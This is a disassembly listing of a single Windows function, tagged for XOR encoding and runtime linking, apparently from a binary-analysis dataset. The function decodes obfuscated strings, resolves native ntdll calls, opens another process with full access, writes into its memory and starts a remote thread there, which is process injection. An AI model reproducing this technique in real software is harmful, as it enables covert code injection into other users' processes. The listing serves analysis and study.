Function at 0x402520
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x4a73e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x4a7e78]
push edi
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x402540
sub esi, ecx
mov dword [ebp - 8], 0
inc esi
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004696d6
add esp, 4
push 0xffffffffffffffff
push dword [0x4a7e78]
push esi
push eax
lea eax, [ebp - 8]
push eax
call fcn.00468e5b
add esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.NtAllocateVirtualMemory
push esi
call edi
push str.NtOpenProcess
push esi
mov dword [ebp - 0x50], eax
call edi
push str.NtWriteVirtualMemory
push esi
mov ebx, eax
call edi
push str.NtCreateThreadEx
push esi
mov dword [ebp - 0x84], eax
call edi
mov cl, 1
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x38], 0x18
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
call fcn.00402160
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
xor cl, cl
call fcn.00402160
movaps xmm0, xmmword [str.G_b7__g3__g__f]
xor ecx, ecx
movups xmmword [ebp - 0x4c], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x4c]
xor byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 0xe
jb 0x402640
lea edx, [ebp - 0x4b]
mov byte [ebp - 0x3d], 0
mov ecx, 0x4a8688
call fcn.00408f80
push eax
call fcn.00409230
add esp, 4
call fcn.00402090
mov dword [0x4a9404], eax
test eax, eax
je 0x402667
mov cl, 1
call fcn.00402160
mov eax, dword [0x4a9404]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x1fffff
lea eax, [ebp - 0xc]
push eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x402728
movaps xmm0, xmmword [0x4a3280]
xor ecx, ecx
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x58], 0x3a2a3059
movaps xmm0, xmmword [0x4a3260]
movups xmmword [ebp - 0x68], xmm0
mov word [ebp - 0x54], 0x72
mov al, byte [ebp - 0x78]
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 0x24
jb 0x4026c6
lea edx, [ebp - 0x77]
mov byte [ebp - 0x53], 0
mov ecx, 0x4a8770
call fcn.00408f80
push ebx
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx + eax + 0x14], ecx
mov ecx, eax
call fcn.004060f0
push eax
call fcn.00409230
add esp, 4
push 0xfa0
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00460630
mov esp, ebp
pop ebp
ret
push 4
push 0x3000
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
test eax, eax
je 0x4028e2
push dword [ebp - 0x14]
mov cl, 0x41
mov byte [ebp - 0x48], 0x61
mov byte [ebp - 0x3a], cl
mov al, 0x32
xor cl, byte [ebp - 0x48]
mov dl, 0xc
mov byte [ebp - 0x47], cl
mov ch, dl
mov cl, byte [ebp - 0x48]
mov bl, 4
xor al, cl
mov byte [ebp - 0x39], 0x5b
mov byte [ebp - 0x43], al
mov dh, 0x1b
mov al, byte [ebp - 0x39]
xor dl, cl
xor al, cl
mov byte [ebp - 0x46], dl
xor ch, cl
mov byte [ebp - 0x3f], al
mov al, byte [ebp - 0x3a]
xor dh, cl
mov ah, 8
mov byte [ebp - 0x44], ch
mov bh, bl
mov byte [ebp - 0x41], dh
xor bl, cl
mov byte [ebp - 0x3d], 0
xor ah, cl
mov byte [ebp - 0x45], bl
xor bh, cl
mov byte [ebp - 0x42], ah
xor al, cl
mov byte [ebp - 0x40], bh
push ecx
lea edx, [ebp - 0x47]
mov byte [ebp - 0x3e], al
mov ecx, 0x4a8688
mov byte [ebp - 0x3d], 0
call fcn.00408f80
add esp, 4
mov ecx, eax
call fcn.00405f30
push eax
call fcn.00409230
mov byte [ebp - 0x48], 0x49
mov al, 0x39
xor al, byte [ebp - 0x48]
mov cl, 0x28
xor cl, byte [ebp - 0x48]
mov dh, 0x25
mov byte [ebp - 0x47], al
mov ah, 0x69
mov byte [ebp - 0x3a], 0x73
mov bh, dh
mov al, byte [ebp - 0x3a]
mov dl, 0x3d
mov byte [ebp - 0x46], cl
mov bl, 0x21
mov cl, byte [ebp - 0x48]
mov ch, 0x2d
xor al, cl
mov byte [ebp - 0x39], ah
mov byte [ebp - 0x3f], al
xor dl, cl
mov al, byte [ebp - 0x39]
xor bl, cl
xor ah, cl
mov byte [ebp - 0x3d], 0
xor ch, cl
mov byte [ebp - 0x45], dl
xor dh, cl
mov byte [ebp - 0x44], bl
xor bh, cl
mov byte [ebp - 0x43], ah
add esp, 4
mov byte [ebp - 0x42], ch
mov byte [ebp - 0x41], dh
xor al, cl
mov byte [ebp - 0x40], bh
mov byte [ebp - 0x3e], al
lea edx, [ebp - 0x47]
lea eax, [ebp - 0x10]
mov byte [ebp - 0x3d], 0
push eax
push ecx
mov ecx, 0x4a8688
call fcn.00408f80
add esp, 4
mov ecx, eax
call fcn.00405f30
push eax
call fcn.00409230
movaps xmm0, xmmword [0x4a31f0]
add esp, 4
movups xmmword [ebp - 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4a3210]
movups xmmword [ebp - 0x70], xmm0
movaps xmm0, xmmword [0x4a30e0]
movups xmmword [ebp - 0x60], xmm0
mov al, byte [ebp - 0x80]
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x2e
jb 0x402875
lea edx, [ebp - 0x7f]
mov byte [ebp - 0x51], 0
mov ecx, 0x4a8770
call fcn.00408f80
push dword [ebp - 0x50]
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx + eax + 0x14], ecx
mov ecx, eax
call fcn.004060f0
push eax
call fcn.00409230
add esp, 4
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfa0
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00460630
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 0x14]
push dword [0x4a7e78]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp - 0x84]
mov ebx, eax
test ebx, ebx
je 0x402954
movaps xmm0, xmmword [0x4a3290]
xor ecx, ecx
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x5c], 0x70716471
movaps xmm0, xmmword [0x4a33a0]
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x58], 0x15051f76
mov word [ebp - 0x54], 0x5d
nop dword [eax + eax]
mov al, byte [ebp - 0x7c]
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 0x28
jb 0x402930
lea edx, [ebp - 0x7b]
mov byte [ebp - 0x53], 0
mov ecx, 0x4a8770
call fcn.00408f80
push ebx
jmp 0x402896
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0x4a2f18
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call edi
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push 0
push 0x20000000
push eax
call dword [ebp - 0x88]
mov edi, eax
test edi, edi
je 0x4029a4
mov edx, str.NtCreateThreadEx_ERROR._NTSTATUS:_0x
mov ecx, 0x4a8770
call fcn.00408f80
push edi
jmp 0x402896
xor cl, cl
call fcn.00402160
push 0xbb8
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00460630
mov esp, ebp
pop ebp
ret